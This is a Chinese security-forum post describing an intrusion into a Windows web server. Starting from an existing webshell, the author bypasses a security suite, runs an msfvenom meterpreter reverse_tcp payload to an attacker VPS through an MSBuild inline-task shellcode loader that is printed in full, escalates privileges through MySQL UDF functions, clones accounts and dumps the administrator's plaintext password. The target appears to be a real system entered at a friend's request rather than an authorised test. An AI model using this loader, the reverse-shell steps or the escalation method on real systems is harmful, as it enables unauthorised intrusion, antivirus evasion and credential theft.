绕过某安全防护套装程序实战提权

isnull   ·   发表于 2019-05-18 11:32:04   ·   漏洞文章

0x00 前言

平常自己挺喜欢折腾的,有时候遇到一个好的突破点会折腾它个几天几夜,刚刚忙完护网,正准备修整几天,突然有人朋友联系我说有个任务需要搞进去,问我能行不能行,后来得知是已经拿到webshell了,通过一番努力便有了下文。

0x01 前期的信息刺探**

首先拿到webshell,发现phpshell只能访问shell所在目录,连网站根目录都跨不过去如图:

c盘d盘根目录就更别提跨过去了,随之执行一下命令看看,如图:

whoami等简单的命令可以跑起来,tasklist发现了 某某安全套装等安全防护进程进程,om my god,刺激,就喜欢这种各种需要绕的环境,既然能跑起命令来那就上免杀的exp来试着提一下(通过rar解压方法突破某防护程序上传),如图:

经过测试发现,不管把exp放哪个目录都提示拒绝访问,特别是net命令都禁止执行,越发让我感觉是安装安全防护程序的缘故;

0x02 深入

通过msbuild.exe白名单方式运行metasploit payload绕过某安全程序调出w3wp.exe进程
在webshell执行直接执行rar程序一直提示拒绝访问如图:


在实际做测试的时候发现windows下用shell反弹个cmdshell回来执行一些命令要比在webshell好许多,看官请看


成功将我们想要的exe程序解压到指定目录,webshell下是没法cd到rar目录的,现在能正常上传exe,我们看能不能想办法让咱们的msf不要闲下来,之前考虑用 php/meterpreter/reverse_tcp这个payload上线弹回meterpreter,但是弹回来什么权限也没,连ps进程命令都没法显示,这时候就想到了使用msbuild.exe白名单方式运行metasploit payload绕过某防护程序让msf上线,于是就开始动手,具体如下:
首先使用msf生成一个c#的payload

msfvenom -p windows/meterpreter/reverse_tcp lhost=vpsip lport=443 -f csharp
代码如下:


byte[] buf = new byte[179779] {


0x8b,0x71,0x1c,0x85,0xf6,0x74,0x58,0x33,0xff,0x39,0x79,0x20,0x74,0x51,0x39,
0x79,0x24,0x74,0x4c,0x89,0x79,0x14,0x89,0x79,0x08,0x89,0x79,0x18,0xc7,0x41,
0x2c,0x02,0x00,0x00,0x00,0x8b,0x46,0x08,0x89,0x7e,0x14,0x89,0x46,0x10,0x39,
0x7e,0x18,0x7d,0x03,0x89,0x7e,0x18,0x39,0x7e,0x18,0x6a,0x2a,0x58,0x6a,0x71,
0x5a,0x0f,0x45,0xc2,0x89,0x46,0x04,0xc7,0x41,0x30,0x01,0x00,0x00,0x00,0x56,
0x89,0x7e,0x20,0xe8,0x88,0x07,0x00,0x00,0x56,0xe8,0x8a,0x15,0x00,0x00,0x59,
0x59,0x33,0xc0,0xeb,0x03,0x6a,0xfe,0x58,0x5f,0x5e,0x5d,0xc3,0x55,0x8b,0xec,
0x8b,0x4d,0x08,0x33,0xd2,0x56,0x57,0x85,0xc9,0x0f,0x84,0x8d,0x00,0x00,0x00,
0x8b,0x71,0x1c,0x85,0xf6,0x0f,0x84,0x82,0x00,0x00,0x00,0x8b,0x7d,0x0c,0x83,
0xff,0xff,0x6a,0x06,0x58,0x0f,0x44,0xf8,0x83,0xff,0x09,0x77,0x71,0x83,0x7d,
0x10,0x02,0x77,0x6b,0x6b,0x46,0x7c,0x0c,0x53,0x6b,0xdf,0x0c,0x8b,0x80,0x00,
0x9d,0x02,0x10,0x3b,0x83,0x00,0x9d,0x02,0x10,0x74,0x11,0x39,0x51,0x08,0x74,
0x0c,0x6a,0x01,0x51,0xe8,0x2b,0xf6,0xff,0xff,0x59,0x59,0x8b,0xd0,0x39,0x7e,
 0x7c,0x74,0x31。。。代码太长省略。。。
 };

              UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
              Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
             IntPtr hThread = IntPtr.Zero;
             UInt32 threadId = 0;
              IntPtr pinfo = IntPtr.Zero;
              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
             WaitForSingleObject(hThread, 0xFFFFFFFF);
            return true;
          }
        }     
       ]]>
       </Code>
    </Task>
   </UsingTask>
 </Project>


用msf生产的代码替换原始代码的内容,这是原始payload如下:


<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes shellcode. -->
  <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
  <!-- Save This File And Execute The Above Command -->
  <!-- Author: Casey Smith, Twitter: @subTee -->
  <!-- License: BSD 3-Clause -->
  <Target Name="Hello">
    <ClassExample />
  </Target>
  <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>

      <Code Type="Class" Language="cs">
      <![CDATA[
        using System;
        using System.Runtime.InteropServices;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;
        public class ClassExample :  Task, ITask
        {         
          private static UInt32 MEM_COMMIT = 0x1000;          
          private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
          [DllImport("kernel32")]
            private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
          [DllImport("kernel32")]
            private static extern IntPtr CreateThread(            
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId           
            );
          [DllImport("kernel32")]
            private static extern UInt32 WaitForSingleObject(           
            IntPtr hHandle,
            UInt32 dwMilliseconds
            );          
          public override bool Execute()
          {
            byte[] shellcode = new byte[179779] {
            这里是msf生成的c# shellcode,代码太长省略  
            };
            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
              Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
              IntPtr hThread = IntPtr.Zero;
              UInt32 threadId = 0;
              IntPtr pinfo = IntPtr.Zero;
              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
              WaitForSingleObject(hThread, 0xFFFFFFFF);
              return true;
          }
        }     
      ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>


需要注意的是必须改成shellcode如图:



然后上传到web目录,nc反弹继续执行如下命令:

cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\
msbuild.exe D:\1\1111.com\uploadfile\19200\443.csproj

这时候监听好的msf就会返回一个meterpreter如图:

试着在shell和meterpreter下执行exp都提示拒绝访问,如图:


但是测试upload上传命令确实是成功调出w3wp.exe 进程,经过一番努力无果,只好换思路解决。

0x03 MySQL udf提权

通过上面的一些测试,已经无望了,这时候就想着用其他办法,经过测试发现网站支持asp,就上传了一个aspshell,各种翻目录各种测试,终于在网站的二级目录数据库配置文件发现了mysql root密码,OK,上传udf提权php马,在具体测试过程中发现,市面上的udf Php工具都被某安全程序被杀了,我发现把被杀的php后缀修改为csproj上传不杀了,要不然无论把被杀的php换成什么后缀名都不行,然后再通过PHP包含这个文件,就可以突破了(也不知道算不算是个某防护程序的一个bug,总之用这种办法让udf工具跑起来了),如图:

然后按常规导入dll,提示dll导入成功,创建sys_eval 函数执行命令,却又提示函数不存在如:FUNCTION mysql.sys_eval does not exist,在测试过程没少折腾,用portfwd命令转发目标3306到本地,利用sqlmap -d 上传dll提示不成功,后来用--file-write命令上传dll到system32下也失败了,但是发现上传非二进制的文件的话是成功的,后来通过查看权限证明不是权限问题如图:

select * from mysql.user where user = substring_index(user(), '@', 1) ;


权限都很OK,很悲催dll被禁止上传,可恶的安全防护呀,通过查询发现几个自定义函数,如图:


发现udf.dll已经被占坑了,我们查询一下看看
select hex(load_file('c:/windows/system32/udf.dll'));如图:




我们利用php环境把它转成dll,代码如下:

<?php
echo file_put_contents('udf.dll',hex2bin("这里为sql查询出来的值"));
?>

成功把它还原成dll文件,用c32am打开看一下他的用法如图:



看看这个shell函数的用法,



正好和dll里面的信息一致,但是在测试的过程中发现cmd那个参数用法没法执行命令会卡死,后来试了exec,select shell('exec','whoami');,如图:



说明这个exec可以绕过安全防护执行命令,接下来的测试中打算使用msf来操作,于是给目录上传了个免杀的msf工具,过全世界所有的杀毒用法 msf vpsip 443,但是监听好的msf一直没返回来meterpreter,后来没办法又用白名单执行命令成功上线(奇怪的还在后面)命令如下:select shell('exec','C:/Windows/Microsoft.NET/Framework/v4.0.30319/msbuild.exe D://1//xxoo.com//uploadfile//19200//443.csproj');注意斜杠问题否则执行出错




但是奇怪的是已经成了system权限却没办法shell,这也正是这个目标奇葩的地方,执行shell卡死,后来ps了一下进程发现administrator的进程migrate pid,然后再执行shell成功执行,并且也可以执行net user 等命令如图:



很OK,直接net user添加账号肯定不行,利用userclone克隆添加账号密码,账号添加成功,但是加入到管理员组失败,手里有杀某防护程序的神器,但是似乎用不上,杀完需要重启动静太大,OK,这时候发现administrator在线直接上传getpassword64免杀版抓明文密码,得到administrator的明文密码,试着用msf模块抓一下密码,如下:



没有成功,因为之前也踩点发现3389没有被某防护程序加入主机名或者ip认证,可以正常登录,所以也不涉及绕过认证登录的问题。登录如图:



渗透到此就结束了。

0x04 总结

主要还是白名单绕过执行程序及配合udf提权,碰到前人留下的udf后门直接提到system,剩下就是一顿乱折腾,不过也不白折腾,摸着石头过河没什么不好;第一次在先知改版后写文章,文章排版之类的还是不太熟悉,可能写的不尽人意,还是请多包涵。。。。。这里要感谢先知V师傅,莫须有等好兄弟的大力支持,一晚上陪我熬夜。。。


转自先知社区

打赏我,让我更有动力~

0 条回复   |  直到 2019-5-18 | 1395 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.